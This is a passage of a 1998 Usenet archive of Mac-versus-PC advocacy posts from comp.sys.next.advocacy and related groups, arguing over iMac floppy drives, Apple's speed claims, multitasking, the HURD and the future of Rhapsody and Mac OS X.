well as troll the usenet and surf the web, all while burning a CD-R
with my PII using Win98, I think you might be a little wrong on this
one. If there were any problems with the PMT between the OS, the ftp
client, the browser or the usenet client, you can bet it would cause
an instant coaster.
Alas, since replacing the shitty Philips drive with the HP model I've
made zero coasters even though I still do all the above while burning.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Wed, 19 Aug 1998 05:01:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6rdm71$9hv$1@nnrp1.dejanews.com>
References: <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <id_est-1308981118340001@192.168.1.3> <gmgraves-1308980931320001@sf-usr1-51-179.dialup.slip.net> <paul_lucente-ya02408000R1308981433530001@merck.com> <6qvvf4$cbg$1@nnrp1.dejanews.com> <35df7da9.24901085@news.calweb.com> <joe.ragosta-1808981323540001@wil54.dol.net>
In article <joe.ragosta-1808981323540001@wil54.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> That's part of the reason that you have essentially complete computer
> funtionality with a Mac even when you're booting from a floppy disk.
You used video cards as an example. The same would not be true of, for
example, a joystick. You would need the driver to map the buttons to keys.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Junking STREAMS?
Date: 19 Aug 1998 05:10:37 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6rdmod$drt@news1.panix.com>
References: <35C87CFA.CEAE0167@milestonerdl.com> <SCOTT.98Aug5132919@slave.doubleu.com> <Ex9uJH.ry@T-FCN.Net> <SCOTT.98Aug7113105@slave.doubleu.com> <35D30D17.B1021347@prim.demon.co.uk> <SCOTT.98Aug13093854@slave.doubleu.com> <ExorxB.4nx@T-FCN.Net> <SCOTT.98Aug14103710@slave.doubleu.com> <6ralul$1fs@news1.panix.com> <ExwJFK.MJx@T-FCN.Net>
On Tue, 18 Aug 1998 20:26:07 GMT, Maury Markowitz
<maury@remove_this.istar.ca> wrote:
> There's a big difference between that and the HURD though - at least in
>theory. In the HURD the BSD code is linked into your apps - that is any code
>that doesn't need system services that can't be provided directly from Mach
>basically runs locally.
I'll take your word on this. I haven't been following HURD as much as I
would like to.
>> Perhaps they are going to be a lot more aggressive that the Linux and *BSD*
>> groups have been. They have tended to stick to the tried and true in the
>> main source trees. Or at the very least, kept things out of the main source
>> trees until they became tried and true.
> The HURD is the only "freeware" code project that takes a radical approach
>to OS design. Sadly even the HURD boosters I've talked to call it too slow
>to be usable.
My take on it is that Linux was made to be used, the HURD is being built just
to see what happens when you build it. I don't think that anyone expects it
to be all that useful in the short term. But; when it comes to radical, the
HURD pegs the needle on the geekometer...
> This is really sad, I'd rather OS-X on a HURD-a-like than an
>OSF-a-like.
I would rather they ship it on time :)
From: "Brian C. Banks" <bcb@nkn.net>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 1998 23:49:42 -0500
Organization: OnRamp, http://www.onramp.net/
Message-ID: <35DA5961.1C1B@nkn.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com>
Mime-Version: 1.0
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> Hmmm.. OK, run AutoCAD on your Mac! Whoops, Autodesk does not support Mac
> anymore.
Run Autocad on DOS, whoops! Doesn't support that either. Autocad doesn't
run on anything BUT windows these days.
-B
From: nhughes@sunflower.com (nate)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Wed, 19 Aug 1998 04:58:24 GMT
Organization: KU
Message-ID: <35ec584b.74893468@198.0.0.100>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <35D864F5.8B4D58B9@inficad.com> <6ra2ld$3ag@fridge.shore.net> <oTjCkFAdwd21EwJz@circlesquare.demon.co.uk> <35e7302c.64622203@198.0.0.100> <35da3b36.0@news.depaul.edu>
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NNTP-Posting-Date: 19 Aug 1998 05:01:50 GMT
On 19 Aug 98 02:40:54 GMT, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>Fine, but you're not an average person. The Average person buys a whole
>new machine, and the old one becomes a 'hand-me-down' - if it doesn't
>get shoved in the attic, or sent to the dump.
In some cases that's the thing to do. In others it might be a better
idea to upgrade the processor from a P133 to a P233 and add a hot new
vid card. You spend $200 and have a sorta usable system.
Sometimes it might be beneficial to add a new computer rather than
replace an older one. Hell, use the old one as a firewall.
I've given a few away, not because they were useless, but because my
friends wanted them. As far as shoving one in the attic, I'd never do
that. If it still booted I'd install some bizarre OS on it and have a
nice toy.
--
Nathan A. Hughes
The University Theatre, KU
http://scenedesign.home.ml.org
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 21:54:31 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1808982154340001@sdn-ar-001casbarp215.dialsprint.net>
References: <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35e38142.25822380@news.calweb.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
> On Sun, 16 Aug 1998 08:05:28 -0400, joe.ragosta@dol.net (Joe Ragosta)
> wrote:
>
> >
> >Right. Like not paying for floppy drives if you don't need them.
Yeah, and the new g3's were introduced at the same time (give or take a
few days) and not only is it not the case that they dont come with a
floppy, one doesnt even have the option to get a g3 WITHOUT a floppy!! A
ide superdrive retails for a measly $60, does EVERYTHING a floppy drive
does, and Joe claims a floppy in the mac costs APPLE at least $50. And we
are to believe the imac not having a floppy is apple's innovativeness?
Can anyone comment on the reports that the imac is just the remnants of
the mac NC? I am not trying to tell falsehoods, I have actually read that
from what is written on the bottom of some imacs motherboards that the
imac is a remnant of the mac NC
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Tue, 18 Aug 1998 21:44:51 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1808982144520001@sdn-ar-001casbarp215.dialsprint.net>
References: <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <35e28031.25549037@news.calweb.com>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <35e28031.25549037@news.calweb.com>,
hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
>
> >One of the defining things about PCs is that they have had expansion
> >slots from day one. No having to pay a premium for SCSI, no paying
> >extra for the models with PCI slots years after PCI was standard.
> >
>
> Apparently Apple doesn't agree with you. Now you can buy a Mac that
> makes the floppy an option (ie, one you have to pay more to get).
Ahhh, the "the imac shows how visionary apple is" argument.
Question. How come the new mac g3's that were released about the same
time as the imac MAKE you pay for a floppy drive? The imac gives you no
option to have your computer COME with a internal floppy, and the new g3s
give you no option to have your computer NOT come with a internal floppy.
What the F*** is up with this? Joe R says a mac internal floppy Costs
*APPLE* at least $50. A imation internal ide superdisk does EXACTLY what
the macs floppy drive does, PLUS gives high ammount of storage, and RETAIL
is as low as only $60.
Numerous sources have said how the bottom of several imac motherboards
have the same name as the codename for the apple NC. Basically apple just
reformed the FAILED NC into a consumer machine, and all the apple fanatics
are too blind to see it isnt innovativeness.
> And I thought the old original Mac was limiting.
>
> By the way, it was interesting to read an article on one of the news
> web sites written by a Mac using journalist who complained both about
> the lack of floppy in the iMac AND the fact that they didn't provide a
> couple normal serial ports for compatibility reasons. He even
> mentioned that on serial-looking port under the cover is marked "Not a
> serial port".
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: cjm@purdue.edu (Chad McQuinn)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: 19 Aug 1998 04:54:51 GMT
Organization: http://extra.newsguy.com
Message-ID: <slrn6tkmpa.1j5.cjm@herbie.husker>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <joe.ragosta-1808981606460001@wil59.dol.net> <6rd336$buo$1@plo.sierra.com>
On Tue, 18 Aug 1998 16:25:47 -0700, Earl Malmrose wrote:
>Joe Ragosta wrote in message ...
>>
>>Jobs is practicing marketing. The means carefully selecting your claims to
>>support your position. He has not lied in any reasonable sense of the
>>word.
>
>From <http://www.apple.com/pr/library/1998/aug/13fast.html>
>
>"The iMac for $1,299 toasts the fastest PC money can buy at any price--the
>Pentium II 400," said Steve Jobs, Apple's interim CEO.
>
>That is a lie, period. He is implying overall system performace based on the
>flawed (IMO) BYTEmarks. He left out the part about only toasting the PII-400
>in BYTEmarks. That is misleading. That is a lie.
Steve Jobs never lied, and he never asked anyone to lie. Now mind your
business, all of you--this is between Steve, the iMac, and their god.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: Tue, 18 Aug 1998 22:31:50 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1808982231500001@sdn-ar-001casbarp215.dialsprint.net>
References: <tonywong-1708980012540001@remote786.compusmart.ab.ca> <35dd70d1.38420203@198.0.0.100> <35D8A0C8.F8FF97DA@calvin.edu> <35dca5a9.6249889@198.0.0.100> <tonywong-1808980001310001@remote996.compusmart.ab.ca> <6rc6lt$g90$1@news2.xs4all.nl> <6rc930$fai$1@ins8.netins.net> <6rc9nl$bpb$1@bunyip.cc.uq.edu.au> <Chris.Burchard-1808981833090001@192.168.0.5> <35D9F38E.6407@ieighty.net> <6rd1km$bgs$1@plo.sierra.com> <alex-1808981955510001@castle.webis.net> <6rd9vo$r45$1@nntp2.ba.best.com> <35eb5430.73842625@198.0.0.100>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <35eb5430.73842625@198.0.0.100>, nhughes@sunflower.com (nate) wrote:
> Considering the fact that I can have a download via FTP going on, as
> well as troll the usenet and surf the web, all while burning a CD-R
> with my PII using Win98, I think you might be a little wrong on this
> one. If there were any problems with the PMT between the OS, the ftp
> client, the browser or the usenet client, you can bet it would cause
> an instant coaster.
HAH!! Nathan admits he is a troll!!
Now if only Edwin Thorne, Jay RIley and "da winguy" would do the same
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: More lies from Jobs on iMac speed
Date: Tue, 18 Aug 1998 22:16:55 -0700
Organization: EarthLink Network, Inc.
Message-ID: <macghod-1808982216550001@sdn-ar-001casbarp215.dialsprint.net>
References: <6r997s$csp$1@nnrp1.dejanews.com> <Exw6qK.I4D.0.queen@torfree.net> <macghod-1808981215550001@sdn-ar-002casbarp276.dialsprint.net> <stone-1808981820410001@rc-pm3-1-06.enetis.net>
qAu4.b<T[j{(qqCB/9tkHgRJ4InDT$D1u_*"":A)qR2r4iwu(`&/hx|%MVf5O8.aW./I
7$!0/VnS`6`8aD]De;>vF1t?VHMX4sdL+L~J!U!<1>.Xzb[/|UGUP^)mEcHp)}.R5uBY
3LsnAQnZh
In article <stone-1808981820410001@rc-pm3-1-06.enetis.net>,
stone@stoneentertainment.com (Kevin Stone) wrote:
> > Steve Jobs is lieing
>
> I agree for the most part. But I would argue that Steve Jobs is not lying.
>
> A G3 is up to twice as fast as a PentiumII in Byte's Integer benchmark...
> there is no argument from either side on that issue. It is a verifiable,
> repeatable, provable fact.
Really? I have the source code for Byte and Codewarrior 3 (the compiler
used for the majority of software compiled for the mac). Please advise me
how to repeat this fact.
--
Whats a nice wench like you doing in a monastery like this?
- reported oldest written Scottish, said by a clergymen to a "wench"
Date: Tue, 18 Aug 1998 23:37:13 -0700
From: jak@asu.edu (John Kestner)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <jak-1808982337130001@dialup110.phnx.uswest.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <joe.ragosta-1608980726050001@elk78.dol.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <35D864F5.8B4D58B9@inficad.com> <6ra2ld$3ag@fridge.shore.net>
Organization: Blues Industrial
pDC?^;F326tzhE*=nKWFfDW[,&
In article <6ra2ld$3ag@fridge.shore.net>, "William Frisbee"
<bfrisbee@fuckspam.webengine-db.com> wrote:
>Billy is not even invovled in this conversation. Hell if Billy did not give
>Jobs 150 million smackers a year or so ago, I wonder if Apple could spend
>the 100 million on the ad campaign for the iMac or even be able to finish
>developing it...
You just had to throw out that bait, didn't you? The $150 million was a
token gesture of support. "If MS believes enough in Apple to invest in
them, then maybe they _aren't_ going to die in a month." (Ignoring the
fact that Apple had about $2 billion in cash reserves at the time.)
If that's what it takes to get the message across, so be it.
john
--
We live only to discover beauty. All else is a form of waiting. - Kahlil Gibran
jak@asu.edu - http://www.public.asu.edu/~jkestner/
From: marmier4@hei.unige.ch
Newsgroups: comp.sys.next.advocacy
Subject: Re: A flame of the ma
Date: 19 Aug 1998 00:22:16 GMT
Organization: News Server of Sunrise Communications AG
Message-ID: <6rd5ro$phq$1@sibyl.sunrise.ch>
References: <cirby-1308981035460001@pm61-42.magicnet.net> <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net> <td-1308982152540001@ppp34-max01.twics.com>
In Re: A flame of the ma comp.sys.next.advocacy cirby@magicnet.net (Chad Irby) writes,
> td@twics.com (Troy Dawson) wrote:
>
>> Right now I am downloading while I write this. I am purposefully not
>> editing the errors, the ones that apparently aren't showing up
>> like our friend's above.
>
> Just ignore Macdhud. He's been posting all sorts of false and misleading
> crap about Macs for years, and almost everything he's ever "found" has
> been due to his own incompetence with or intentional misuse of Macs.
Ok man. DoublePlusUnGood to suggest a problem with MacOS. We all know MacOS is the best OS in the world. No bugs, or rather only features. The damn'd user is just too stupid to understand...
Nevertheless, using MacOS is a real pain to me if you wanna know. Makes me feel of ten years ago, when the Mac in my highschool had two floppy and no hard disk. You just keep waiting for a task to complete before undergoing the next task.
I know "Macdhud" is sometime excessive. This is no reason to react as dumbly as the average Win95 user...
regards
Raph
From: marmier4@hei.unige.ch
Newsgroups: comp.sys.next.advocacy
Subject: Re: A flame of the ma
Date: 19 Aug 1998 01:32:43 GMT
Organization: News Server of Sunrise Communications AG
Message-ID: <6rd9vr$phq$2@sibyl.sunrise.ch>
References: <35d89f8a.4951056@news.newsguy.com> <macghod-1308980114180001@sdn-ar-001casbarp145.dialsprint.net>
Nom de dieu!
> OK, now in addition I
> just asked the news reader to download the newest 1000 headers in
> alt.windows95. It's also doing that at the same time, starting now......still
> no effect on the keyboard, not even a lag due to buffered keystrokes.....
Fetching the last 1000 bugs in Win95? uh?
> It's called PMT, and it works. Someday maybe Apples will have it too.
It perhaps 'works', but it is hardly PMT... But sure, the blue screen is a hell of a feature!!!
> The new and improved family homepage is at:
> http://members.iquest.net/~telam/default.htm
Microsoft has a bright future with such brain-dead, robotised customers. Welcome in brave new world, here is the new electronic citizen!
regards
Raph
From: "DarkMerlin(JB)" <amazon@net-link.net>
Newsgroups: comp.sys.next.advocacy
Subject: Rhapsody Openstep changes: opinions of NeXT programmers and
users?
Date: Tue, 18 Aug 1998 22:46:44 -0500
Organization: Angelics=?ISO-8859-1?B?gQ==?=
Message-ID: <6rd076$dc1$1@leol.net-link.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
For those of you who are experienced in NeXT Openstep programming and
Rhapsody/MacOSX server Openstep programming what do you think of the
changes that have been made. Is it better? Is something missing that you
really liked? Is there much change at all? Please include you're opinions
on MacOS programming and straight NeXT programming. I'm interested if this
has any effect on your point of view.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 19 Aug 1998 03:58:58 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rdii2$55c$2@lwnws01.ne.highway1.com>
References: <35D45C80.38A0C880@ericsson.com> <6r1o4e$le9@shelob.afs.com> <35D467CB.1793C86C@ericsson.com> <6r42tl$fht$1@lwnws01.ne.highway1.com> <35D84F6F.DAED08CD@ericsson.com> <6r9ngb$n46$1@lwnws01.ne.highway1.com> <35D8C9AF.1E0B581B@ericsson.com> <6ram29$h83$1@lwnws01.ne.highway1.com> <35D9C58A.3F86BAE5@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
> John Kheit wrote:
> > Those tools you list suck maggot dung in comparison. Developers
> > will care.
>
> Don't get me wrong, but a lot of the mindshare devoted to caring
> has been given over to Linux and the like. Whether or not that's
> justified, how is Apple going to steal some of the malcontents'
> attention? With the iMac? With MacOS X? This is what I'm saying.
I'm sure what you say is true. I'm not making an argument that these
differences are enough to sway any particular segment of the market. That
will be a function of apple doing good marketing. I'm not holding my breath.
However, those differences are real. Particularly real on the programming
end when coupled with the unix backside. Of course if apple continues to
pander to the feelings of inadequacy and insecurity in the mac community over
meritorious solutions, I'm sure they might manage a way to actually shoot
another foot. I'm starting to feel that apple is the Jets of the computing
world. Always managing to grab defeat from the jaws of victory.
> Engineers and users and IS people who actually care that Microsoft
> solutions are last-place in quality are getting the message that
> Linux is the alternative.
>
> The problem is that I don't necessarily think that that's the
> way it should be. Linux is not always the appropriate alternative.
> But it's going to be the de facto choice for all those unhappy
> programmers and users out there because the Linux people are
> making their case.
Maybe. Development wise it sucks compared to apple's dev tools in the way of
YellowBox, IB, PB, etc. Of course GNUSTEP on top of Linux could easily
change all that. I think people in the "know" will recognize just how
superior YB is to what's out there. No doubt apple can find a way of
squandering or destroying this advantage, but right now it is an advantage.
> > Cross platform to win for free is a great carrot.
>
> But it won't be important if developing on MacOS X isn't attractive
> in the first place. Restricting MacOS X to Macintosh hardware
> has pretty much sealed this.
That's not so. You develop one app that is about 5-10 easier than via normal
tools (if you're developing from scratch). Then you get to deploy that on
win95 Yellowbox *and* MacOSX (even if the idiots at apple do limit it only to
a PPC version--i.e. I agree with you that they are idiots not to continue to
promote an intel version of OSX). You get those two segments for the price
of one. That is a big win. It gets all the better when GNU finishes GNUSTEP
because that one piece of source will now run under GNUSTEP environments.
> > It may fail, but this isn't yet clear. As a carrot, as potential,
> > it is not only relevant, it's a highly substantial and significant
> > feature. Dismissing it with guess work is fine, but that won't
> > take it out of the equation; not until the axe hits the block
> > and the head rolls clean off and far away.
>
> I'm not trying to dismiss it, I'm trying to explain why its
> current course will lead to dismissal.
Oh, I see. You may well be right. Time will tell.
> > I'm not saying it's cross platform. I don't believe it is
> > until they actually Yellowize it. If they dont, then it's
> > merely what it is. And as is, shlocky and all, it's functionally
> > apparently quite loved by certain sectors. And thus still
> > remains a different feature that some will find valuable.
>
> But it still doesn't recommend one platform over the other.
It will for some, not for others. For some QT and the macUI are enough (not
for me personally, but my needs from an evironment are different). For
others, the ability to have one source tree for win9X/NT/MacOSX will be a
killer feature. I do, however, agree that if apple continues on the course
that is rumored, i.e. no unix in the base, I have no doubt they will kill all
the attraction that might have been experienced by those likely in or going
to the Linux camp.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody Openstep changes: opinions of NeXT programmers and users?
Date: 19 Aug 1998 03:43:12 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6rdhkg$55c$1@lwnws01.ne.highway1.com>
References: <6rd076$dc1$1@leol.net-link.net>
"DarkMerlin(JB)" <amazon@net-link.net> wrote:
> For those of you who are experienced in NeXT Openstep programming and
> Rhapsody/MacOSX server Openstep programming what do you think of the
> changes that have been made. Is it better? Is something missing that you
> really liked? Is there much change at all? Please include you're opinions
> on MacOS programming and straight NeXT programming. I'm interested if this
> has any effect on your point of view.
Most of the changes suck and are for the purposes of satiating feelings of
inadequacy and insecurity on the part of mac people.
--
Thanks, be well, take care, later, John Kheit; self expressed...
_________________________________________________________________
UCO & Associates ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 19 Aug 1998 05:10:38 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <6rdmoe$drt@news1.panix.com>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com> <6ra265$dgg@newsb.netnews.att.com> <35D89D57.E0678722@ericsson.com> <slrn6thab4.sf3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35D8B78C.46566D88@ericsson.com> <6raopr$23t@news1.panix.com> <6rc5gp$gci$1@nnrp02.primenet.com>
On 18 Aug 1998 15:10:17 GMT, John Jensen <jjens@primenet.com> wrote:
>Companies set software prices based on projected sales. A small volume
>product has to be priced higher than a large volume product. The problem
>is that there is a feedback loop in effect. A lower price contributes to
>higher sales, and vis-versa.
>My cynical view is that Apple understands this, and will price Rhapsody
>for Intel at a point which will limit sales, and therefore limit their
>obligation to Intel customers.
I've talked to Apple people and I get the impression that they do not
expect MacOSX Server for PCs to sell all that well. They cite the fact
that it will not be able to run any legacy Apps as the major stumbling
block.
I am very sure that MacOSX (and Carbon for that matter) will run on Intel
machines. Just don't expect Apple to sell it unless they can make money
on it.
Date: Wed, 19 Aug 1998 07:45:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1908980745250001@wil70.dol.net>
References: <6rcvn4$r31$4@hecate.umd.edu>
In article <6rcvn4$r31$4@hecate.umd.edu>,
davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang) wrote:
> Joe Ragosta (joe.ragosta@dol.net) wrote:
> : In article <35df7da9.24901085@news.calweb.com>,
> : hangtown_nospam@thelostweb.com (Scott Willsey) wrote:
>
> : > On Fri, 14 Aug 1998 00:13:24 GMT, quinlan@intergate.bc.ca wrote:
> : >
> : > >This is an excellent example. If your device is identified as either a
> : > >joystick or mouse, the device mill be handled using Apple's default mouse
> : > >service routine. This routine only handles relative position
movement and a
> : > >single button but it still works.
> : > >
> : >
> : > That's nice... windows 95 and 98 do the same thing. It may detect a
> : > modem as some generic thing. It'll work, but not as well as if you
> : > tell it what your modem really is. Same with a graphics card, or
> : > whatever.
> : >
> : > I fail to be impressed by something that I see as normal.
>
> : That's somewhat true.
>
> : But let's look at video cards. With Win9x, when you install a new video
> : card, it starts up with 640x480 resolution and there's nothing you can do
> : about it until you locate and install the drivers. With a Mac, you get a
> : full range of resolutions on a new card, even before you install the
> : drivers.
>
> : That's part of the reason that you have essentially complete computer
> : funtionality with a Mac even when you're booting from a floppy disk.
>
> Maybe that's why you have to pay more for the Mac version? The one with
> the larger ROM?
Actually, when I checked, the Mac version was the same price as the
Windows version at the store I looked at. But you may be right that it
might cost a couple of dollars more in some places.
That's the price you pay for superior functionality.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 19 Aug 1998 07:47:07 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1908980747070001@wil70.dol.net>
References: <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <id_est-1308981118340001@192.168.1.3> <gmgraves-1308980931320001@sf-usr1-51-179.dialup.slip.net> <paul_lucente-ya02408000R1308981433530001@merck.com> <6qvvf4$cbg$1@nnrp1.dejanews.com> <35df7da9.24901085@news.calweb.com> <joe.ragosta-1808981323540001@wil54.dol.net> <6rdm71$9hv$1@nnrp1.dejanews.com>
In article <6rdm71$9hv$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <joe.ragosta-1808981323540001@wil54.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > That's part of the reason that you have essentially complete computer
> > funtionality with a Mac even when you're booting from a floppy disk.
>
> You used video cards as an example. The same would not be true of, for
> example, a joystick. You would need the driver to map the buttons to keys.
Partially.
A joystick or external mouse on the Mac still gets the same ballistic
acceleration of a normal mouse. You would need the drivers to get any
product-specific features, but that's to be expected.
Even for video cards, you need the drivers to take advantage of 3D
acceleration, for example.
But it doesn't change the fact that many driver-less components offer
greater functionality on Macs than on Wintel machines. The video card is
the best example, but there are others.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 19 Aug 1998 07:49:27 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1908980749270001@wil70.dol.net>
References: <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <35e28031.25549037@news.calweb.com> <macghod-1808982144520001@sdn-ar-001casbarp215.dialsprint.net>
